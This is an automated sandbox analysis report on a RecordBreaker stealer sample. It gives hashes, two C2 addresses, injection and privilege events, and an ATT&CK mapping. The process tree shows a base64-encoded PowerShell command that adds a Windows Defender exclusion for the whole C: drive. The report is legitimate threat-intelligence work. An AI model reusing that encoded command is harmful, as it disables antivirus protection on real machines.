recordbreaker | 2ced9b36b931b73b1d325bececd01f0e4fa6bd0fff98f8b76f2f45b473311cd0

General

Target

ghjkl.exe
Size

768KB
MD5

63645a9e1f5e77ba3c75366f3a14ab87
SHA1

ed1497c47dc283118bbc57d49cd9f354785cf73d
SHA256

2ced9b36b931b73b1d325bececd01f0e4fa6bd0fff98f8b76f2f45b473311cd0
SHA512

4efce16194322c1288603ccd4ab6507fa5905debb137ce9b200e7a76e2c041c2d2aa720061b0679f2dfb5c21a668e12fe5eeb5fe99542f5a88d4bcdf103296f0

Score

10^/10

recordbreaker stealer

Malware Config

Extracted

Family

recordbreaker

C2

http://136.244.65.99/

http://140.82.52.55/

Signatures

RecordBreaker
RecordBreaker is an information stealer capable of downloading and executing secondary payloads written in C++.
stealer recordbreaker

Executes dropped EXE 1 IoCs

Processes:

Fvmidruhvvwkpvmfzdjkqkyhgrn.exe

pid	Process
268	Fvmidruhvvwkpvmfzdjkqkyhgrn.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

ghjkl.exeFvmidruhvvwkpvmfzdjkqkyhgrn.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Control Panel\International\Geo\Nation	ghjkl.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Control Panel\International\Geo\Nation	Fvmidruhvvwkpvmfzdjkqkyhgrn.exe

Loads dropped DLL 1 IoCs

Processes:

ghjkl.exe

pid	Process
2024	ghjkl.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

ghjkl.exe

description	pid	Process	procid_target
PID 2024 set thread context of 980	2024	ghjkl.exe	30

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeghjkl.exepowershell.exe

pid	Process
620	powershell.exe
2024	ghjkl.exe
1652	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

ghjkl.exepowershell.exeFvmidruhvvwkpvmfzdjkqkyhgrn.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2024	ghjkl.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeDebugPrivilege	268	Fvmidruhvvwkpvmfzdjkqkyhgrn.exe
Token: SeDebugPrivilege	1652	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

ghjkl.exeFvmidruhvvwkpvmfzdjkqkyhgrn.exe

description	pid	Process	procid_target
PID 2024 wrote to memory of 620	2024	ghjkl.exe	27
PID 2024 wrote to memory of 620	2024	ghjkl.exe	27
PID 2024 wrote to memory of 620	2024	ghjkl.exe	27
PID 2024 wrote to memory of 620	2024	ghjkl.exe	27
PID 2024 wrote to memory of 268	2024	ghjkl.exe	29
PID 2024 wrote to memory of 268	2024	ghjkl.exe	29
PID 2024 wrote to memory of 268	2024	ghjkl.exe	29
PID 2024 wrote to memory of 268	2024	ghjkl.exe	29
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 2024 wrote to memory of 980	2024	ghjkl.exe	30
PID 268 wrote to memory of 1652	268	Fvmidruhvvwkpvmfzdjkqkyhgrn.exe	33
PID 268 wrote to memory of 1652	268	Fvmidruhvvwkpvmfzdjkqkyhgrn.exe	33
PID 268 wrote to memory of 1652	268	Fvmidruhvvwkpvmfzdjkqkyhgrn.exe	33
PID 268 wrote to memory of 1652	268	Fvmidruhvvwkpvmfzdjkqkyhgrn.exe	33

C:\Users\Admin\AppData\Local\Temp\ghjkl.exe
"C:\Users\Admin\AppData\Local\Temp\ghjkl.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:620
- C:\Users\Admin\AppData\Local\Temp\Fvmidruhvvwkpvmfzdjkqkyhgrn.exe
  "C:\Users\Admin\AppData\Local\Temp\Fvmidruhvvwkpvmfzdjkqkyhgrn.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- C:\Users\Admin\AppData\Local\Temp\ghjkl.exe
  C:\Users\Admin\AppData\Local\Temp\ghjkl.exe
  2⤵
  PID:980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Fvmidruhvvwkpvmfzdjkqkyhgrn.exe

Filesize
21KB

MD5
f35a031075f711d05262e547d028ae86

SHA1
9c9e3bdf907fcfa959910cd9c752e297765ccf80

SHA256
3c0c5786499c54c8f99e689f7e1bfc129e4d10c3de58c7917fc73044e12346b9

SHA512
ff5235e388cc82f45e2dda4e93b66f752789b6cda1b6a4076af0171ab88ea422e8309a0f85abfa2d2e8ed5a760c3d83c4ec13fea9b566c0dd470a5c64c1a8a30

Download Submit
C:\Users\Admin\AppData\Local\Temp\Fvmidruhvvwkpvmfzdjkqkyhgrn.exe

Filesize
21KB

MD5
f35a031075f711d05262e547d028ae86

SHA1
9c9e3bdf907fcfa959910cd9c752e297765ccf80

SHA256
3c0c5786499c54c8f99e689f7e1bfc129e4d10c3de58c7917fc73044e12346b9

SHA512
ff5235e388cc82f45e2dda4e93b66f752789b6cda1b6a4076af0171ab88ea422e8309a0f85abfa2d2e8ed5a760c3d83c4ec13fea9b566c0dd470a5c64c1a8a30

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
15b8abd2ce4ec15a445106f5df83731c

SHA1
b9ac1f1e5a9d0f106bc705bb53ab7c8093ed4647

SHA256
e79f1c9d10d051e227c720e2bb03fd4d369ee0f4ec7daa1ae78ce376e11870c7

SHA512
a291300904eacf2bf980d90056c419c01c07f0170989272f31b64dbe324774aa24ccbc1df4066f1eaf16c89eceb47b50c27904be957e1575dd43959985808735

Download Submit
\Users\Admin\AppData\Local\Temp\Fvmidruhvvwkpvmfzdjkqkyhgrn.exe

Filesize
21KB

MD5
f35a031075f711d05262e547d028ae86

SHA1
9c9e3bdf907fcfa959910cd9c752e297765ccf80

SHA256
3c0c5786499c54c8f99e689f7e1bfc129e4d10c3de58c7917fc73044e12346b9

SHA512
ff5235e388cc82f45e2dda4e93b66f752789b6cda1b6a4076af0171ab88ea422e8309a0f85abfa2d2e8ed5a760c3d83c4ec13fea9b566c0dd470a5c64c1a8a30

Download Submit
memory/268-65-0x0000000000CE0000-0x0000000000CEA000-memory.dmp

Filesize
40KB

Download
memory/268-80-0x0000000005810000-0x00000000058E4000-memory.dmp

Filesize
848KB

Download
memory/268-62-0x0000000000000000-mapping.dmp

Download
memory/620-57-0x0000000000000000-mapping.dmp

Download
memory/620-58-0x0000000076011000-0x0000000076013000-memory.dmp

Filesize
8KB

Download
memory/620-59-0x0000000070270000-0x000000007081B000-memory.dmp

Filesize
5.7MB

Download
memory/620-60-0x0000000070270000-0x000000007081B000-memory.dmp

Filesize
5.7MB

Download
memory/980-72-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/980-75-0x0000000000407486-mapping.dmp

Download
memory/980-71-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/980-69-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/980-67-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/980-66-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/980-77-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/980-79-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/980-74-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1652-81-0x0000000000000000-mapping.dmp

Download
memory/1652-84-0x000000006FEE0000-0x000000007048B000-memory.dmp

Filesize
5.7MB

Download
memory/2024-54-0x0000000000F30000-0x0000000000FF6000-memory.dmp

Filesize
792KB

Download
memory/2024-56-0x0000000000E60000-0x0000000000EAC000-memory.dmp

Filesize
304KB

Download
memory/2024-55-0x0000000004E90000-0x0000000004F52000-memory.dmp

Filesize
776KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads